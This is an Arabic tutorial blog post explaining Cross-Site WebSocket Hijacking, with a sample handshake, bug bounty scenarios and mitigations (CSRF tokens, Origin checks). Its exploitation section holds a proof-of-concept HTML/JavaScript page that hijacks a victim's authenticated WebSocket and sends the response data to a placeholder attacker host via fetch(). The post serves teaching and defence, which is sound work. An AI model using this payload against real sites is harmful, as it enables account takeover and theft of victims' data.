شرح ثغرة Cross-Site Websocket Hijacking) CSWSH)
* السلام عليكم ورحمة الله وبركاته *
------------------
الحمد لله على جميع نِعمه علينا ما علمنا منها وما لم نعلم حمداً كثيراً والصلاة والسلام على نبينا محمد اشرف الخلق والمرسلين, اما بعد :-
--------------------
# مقدمة :-
قبل البدأ بالقراءة يجب ان تفهم هذه المواضيع ولا تكمل الموضوع حتى تفهمها [وضعت مصادر عربيه لها] (( WebSocket || CSRF Attack || SOP/CORS || (يفضل) Communications )), مع التطور في عالم Web Application ظهر لنا بروتوكول WebSocket وهو يعتبر Full-duplex communication ولكن تطوره جلب ثغرة خطيرة مشابهه لثغرة CSRF Attack ولديها نفس الخطر المتواجد في CSRF Attack لكن تطور الأمر فأصبح خطرها مشابه لخطر ثغرة CORS Misconfiguration وهنا أتت الكارثة لأن WebSocket في RFC6455 ذكر ان للمصادقة عدة طرق ومن ضمنها Cookie header :-
This protocol doesn't prescribe any particular way that servers can authenticate clients during the WebSocket handshake. The WebSocket server can use any client authentication mechanism available to a generic HTTP server, such as cookies, HTTP authentication, or TLS authentication.
- RFC 6455 "The WebSocket Protocol", chapter 10.5 WebSocket Client Authentication
وهنا بدأت قصة Cross-site WebSocket hijacking بأنها ثغرة تسمح للمهاجم بارسال (Request) مثل CSRF Attack وقراءة (Response) الضحية مثل CORS Misconfiguration لمجرد دخوله على رابط ارسله المهاجم ليسرق او يعدل على بيانات الضحية بدون اذن او علم منه .
---------------------
# أكتشافاها :-
عندما يقوم المبرمج بأستخدام WebSocket ويعتمد على Cookies كنوع من المصادقة (تريث! سوف نتحدث عن الترقيع) هنا تحدث الثغرة, ولنوضح اولا ماذا يحدث في WebSocket عندما نقوم بأي شيء :-
- يرسل WebSocket طلبا :-
GET https://echo.websocket.org/?encoding=text HTTP/1.1 Host: echo.websocket.org Connection: Upgrade Pragma: no-cache Cache-Control: no-cache User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/77.0.3865.120 Safari/537.36 Upgrade: websocket Origin: https://www.websocket.org Sec-WebSocket-Version: 13 Accept-Encoding: gzip, deflate, br Accept-Language: ar,en-US;q=0.9,en;q=0.8 Cookie: _ga=GA1.2.1257477278.1571469261; _gid=GA1.2.719300506.1571469261; _gat=1 Sec-WebSocket-Key: pR/qzDW5LnylW8pINSH9ww== Sec-WebSocket-Extensions: permessage-deflate; client_max_window_bits- يأتي رد بكود 101 Status code وهذا يعني اكتمال عملية Handshake :-
HTTP/1.1 101 Web Socket Protocol Handshake Access-Control-Allow-Credentials: true Access-Control-Allow-Headers: content-type Access-Control-Allow-Headers: authorization Access-Control-Allow-Headers: x-websocket-extensions Access-Control-Allow-Headers: x-websocket-version Access-Control-Allow-Headers: x-websocket-protocol Access-Control-Allow-Origin: https://www.websocket.org Connection: Upgrade Date: Sat, 19 Oct 2019 07:11:30 GMT Sec-WebSocket-Accept: HsCfuVc9U/O0Dvu4aYCaSPGlwUw= Server: Kaazing Gateway Upgrade: websocket
مايهمنا هو Cookie Header وهل هناك اي متغير يحتوي على CSRF Token او Origin header لايتم التحقق عنه في Server-side ! تحققت ؟ اذا الجواب ان Cookie Header يستخدم في المصادقة ولا يوجد CSRF Token ولا يتم التحقق من Origin Header في Server-side ويقبل اي Domain هنا تحدث ثغرة Cross-Site Websocket Hijacking) CSWSH) !
وتستطيع ايضا قراءة Response data :)
لكن ؟ ماذا عن SOP ؟ ألن يمنعه ؟؟ (إذا سألت هذا السؤال فأنا أهنيك على نباهتك)
للأسف المتصفحات لم تقيد SOP ل WebSocket وهذا يعني من مخاطر الثغرة ايضا تستطيع قراءة Response Data وهذا مايوضح سبب ماقلته بأن من مخاطر ثغرة CSWESH هو التشابه بخطر CORS Misconfiguration .
----------------------
# أستغلالها :-
تستطيع استغلال الثغرة عن طريق Javascript Code + HTML Code وهنا كود بسيط وعملت له refactoring من أجل فهمك له :-
<html>
<head>
<script>
// أنشاء اتصال مع الويب سوكيت .
var socket = new WebSocket('wss://victim.websocket.com:443');
// فتح الأتصال بأرسال الطلب
/*
يقوم بنفس مهمه
CSRF Attack
بأرسال طلب مزور للسيرفر بدون علم الضحية ليقوم ببعض التعديلات اللتي اللتي يريدها على الضحية بدون علمه
*/
socket.addEventListener('open', function (event) {
socket.send('like CSRF-Attack');
});
// قراءة الرد من الويب سوكيت سيرفر
/*
يقوم بنفس مهمه
CORS Misconfiguration
يقوم بقراءة الرد اللذي وصل من السيرفر واللذي كان تحت المصادقة للضحية ليستطيع المهاجم بقراءة الرد لمثل ايميل الضحية الخاص به او كود التحقق الخاص به
*/
socket.addEventListener('message', function (event) {
var responseData = event.data; // Response
var urlAttacker = "http://attckers.com/sendData?data="+responseData; // ارسال رد السيرفر الى المهاجم
fetch(urlAttacker); // I Love Fetch API :) sorry XHR Lov3rs (ارسال معلومات الرد الخاصة بالضحية الى المهاجم)
});
</script>
</head>
<body>
<!-- Is your body beautiful ? -->
</body>
</html>
------------
# خطورتها :-
لايوجد خطر معين لأن سيناريوهات الهجوم مختلفه وكثيرة, راح أعطيكم سيناريوهات فعلا حدثت وسوف اشرح فقط Full account takeover (ستختلف الثغرات لكن الخطورة نفسها تماما) .
- السيناريو الأول (مثل CSRF Attack) : في يوم 15 من ابريل سنة 2019 قام tomoh بأكتشاف ثغرة CSRF attack تسمح له بتغيير ايميل حساب اي شخص في Khan Academy والتحكم بحسابه بمجرد دخوله رابط فقط .
السيناريو الثاني (مثل CORS Misconfiguration): قام Sharan Panegav بأكتشاف مثل الثغرة الذي نقوم بشرحها اليوم وهي Cross-Site Websocket Hijacking) CSWSH) بحيث ان لوحظ ان رابط تعيين كلمة المرور يظهر في Response Data (الرد) عندما يكون الضحية مسجل دخوله, قام Sharan Panegav بأستغلال الثغرة لقراءة Response Data والحصول على رابط اعادة تعيين كلمة المرور وارساله للمهاجم ليقوم بتغيير كلمة مرور حساب الضحية ويتحكم بكامل الحساب .
---------
# الحماية من هذه الثغرة :-
لتتجنب هذه الثغرة كل اللذي عليك هو التالي :-
- اضافة حماية CSRF Token
- التحقق من Orgin Header في Server-side بأنه لايقبل سوى domain الخاص بك
-----------------
والسلام خير ختام
التعليقات (0)
لايوجد لديك حساب في عالم البرمجة؟
تحب تنضم لعالم البرمجة؟ وتنشئ عالمك الخاص، تنشر المقالات، الدورات، تشارك المبرمجين وتساعد الآخرين، اشترك الآن بخطوات يسيرة !